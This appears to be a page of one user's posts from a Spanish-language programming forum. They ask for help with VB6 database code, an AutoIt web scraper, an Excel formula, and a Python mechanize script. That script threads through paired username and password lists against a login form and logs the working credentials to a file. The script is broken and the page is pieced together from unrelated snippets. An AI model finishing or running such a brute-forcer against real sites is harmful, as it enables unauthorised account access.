Mensajes

asdasdasd

haber utiliza esto y me dices

Código (vb) [Seleccionar] Expandir

Dim aleatorio As String
aleatorio = Str(Int(Rnd(1000) * 1000))

Private Sub Command1_Click()
If txtnombre = Me.txtnombre.Text Then
lblpass = aleatorio
End If

End Sub

Private Sub Command2_Click()
Adodc1.Recordset.AddNew
End Sub

Private Sub Command3_Click()
Adodc1.Recordset.Update
End Sub

Private Sub Command4_Click()
Adodc1.Recordset.MovePrevious
If Adodc1.Recordset.BOF Then
Adodc1.Recordset.MoveNext
End If
End Sub

Private Sub Form_Load()
lblmensaje.Visible = False
End Sub

Private Sub txtedad_Change()
lblmensaje.Visible = True
End Sub

 

Código [Seleccionar] Expandir

  patterns = [ 25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 ]
   respuesta=br.response().read()
   for pattern in patterns:
      if re.search(pattern,  respuesta):
         print  li + ":" + lin +'no'
      else:
         print  (li + ":" + lin + 'si')
         r = br.open(url3)

alguien me puede dar una idea para que una expresion regular revise en la pagina si ay un numero por ejemplo del 25 al 50  y si ay que imprima no de lo contrario si es mayor a esos numeros imprima si

si alguien me pudiera ayudar gracias me estoy rompiendo la cabeza de como hacerlo no me doy una idea

creo que tienes que ejecutar como administrador el bat los operadores estos

Código [Seleccionar] Expandir

>,>> en windows 7 necesita que los ejecutes como administrador

Código (python) [Seleccionar] Expandir

import mechanize
from threading import *
import time
import os

archivo1= open ('lista1.txt')
archivo = open ('lista.txt')

def brute(url2,li,lin):
   try:
       br = mechanize.Browser()
       url3= "paginaweblogout"
       url2=url2
       r = br.open(url2)
       br.select_form(nr=1)
       br.form["name"]= li
       br.form["pass"] = lin
       br.submit()
     
           r = br.open(url3)
           text_file = open("Output.txt", "a")
           text_file.write("cuenta: %s  password: %s\n" % (li,lin))
           text_file.close()
         
       else:
           print  li + ":" + lin +'no'
   except:pass

count = 0    
thrdlst = []
url2= "paginaweblogin"
for li,lin in zip(archivo.read().split('\n'),archivo1.read().split('\n')):
 
   t.start()
   
   thrdlst.append(t)
   time.sleep(0.210)
   print count
for b in thrdlst:
   b.join()


tengo un problema por que no termina todo el proceso de la lista de 2600 palabras
solo hace 1200 palabras y se para y no continua
sera algun problema con el zip del for ? que solo se cumple la mitad ? ayuda please

si me pudieran decir como obtener los datos de un solo de bloc de notas por ejemplo asi
cuenta:cuenta
cuenta1:cuenta1

tipo hydra es que talvez sea eso

Código [Seleccionar] Expandir

#include <Inet.au3>          ; Liberia para obtener archivos de internet, en este caso el codigo fuente de la url
#include <Array.au3>         ; Array para almacenar nuestros datos, cada dato incluira una posicion
#include <String.au3>        ; Funciones para el manejo de Strings
#include <File.au3>          ; Guardar y Escribir archivos.

$contador = 0               

while $contador < 14         

if $contador = 0 Then   

local $url = _InetGetSource('http://xd.com')  ; Url de la portada

Else
local $url = _InetGetSource('xd.com' & '/page/' & $contador & '/')
EndIf

local $aArray1    ; Declaramos el Array dodne vamos a guardar los datos

$aArray1 = _StringBetween ($url, '<h2>', '</h2>') ; Con esta funcion tomaremos los datos que esten entre '<h2>', '</h2>' .Ver Img2


$contador2 = 0  ;   Contador para los articulos

While $contador2 < 7  ; Este contador limita a 7, que son los articulos que se muestran por pagina


    $buffer = $aArray1 [$contador2] ; Añadimos el valor de la posicion $contador en el Array1 a $buffer

    $buffer = BinaryToString($buffer, 4) ; Esto lo hacemos porque muchas paginas tienen formato  charset=utf-8 -

Local $file  = FileOpen ("Enlaces.txt",1) ; Abrimos el archivo donde guardaremos los enlaces

  if $file = -1 Then
MsgBox (0, "Error", "No se puede abrir")
Exit
EndIf


FileWriteLine($file, $buffer) ; Escribimos los enlaces en una linea del archivo

FileClose($file)

$contador2 = $contador2 + 1 ; Aumentamos el contador para seguir recorriendo el Array que contiene los enlaces

WEnd

$buffer = $aArray1 &[$contador2]
$buffer = $aArray1 &^ ERROR
>Exit code: 1
$contador +=  1 ; Aumentamos el contador para visitar
WEnd


por que me marca un error en esta parte me tiene loco ;S

Código [Seleccionar] Expandir

$buffer = $aArray1 [$contador2] ; Añadimos el valor de la posicion $contador en el Array1 a $buffer

    $buffer = BinaryToString($buffer, 4)


(28) : ==> Subscript used on non-accessible variable.:


si me pueden ayudar gracias

me podrian dar una idea de como generar codigo atravez de un lenguaje de programacion ,ejemplo game maker que con solo picar botones se genere codigo o algun editor html, como se hace eso ? si me pudieran explicar muchisimas gracias

gracias gracias gracias gracias gracias gracias

no mira pon un numero mayor  en la celda i12 o menor el texto no cambia en la celda l2

por que no puedo usar operaciones en resultados de formulas

Código [Seleccionar] Expandir

=SI(I13<K3;"se acepta que los datos tienen una distribucion uniforme";"se rechaza que los datos tienen una distribucion uniforme")

se supone que deberia de hacer la comparacion pero no funciona

lo raro es que si funciona si las celdas no tienen formulas pero yo ocupo que si esten las formulas aqui esta el archivo de excel aver si me pueden ayudar gracias

http://www51.zippyshare.com/v/7FvduB0M/file.html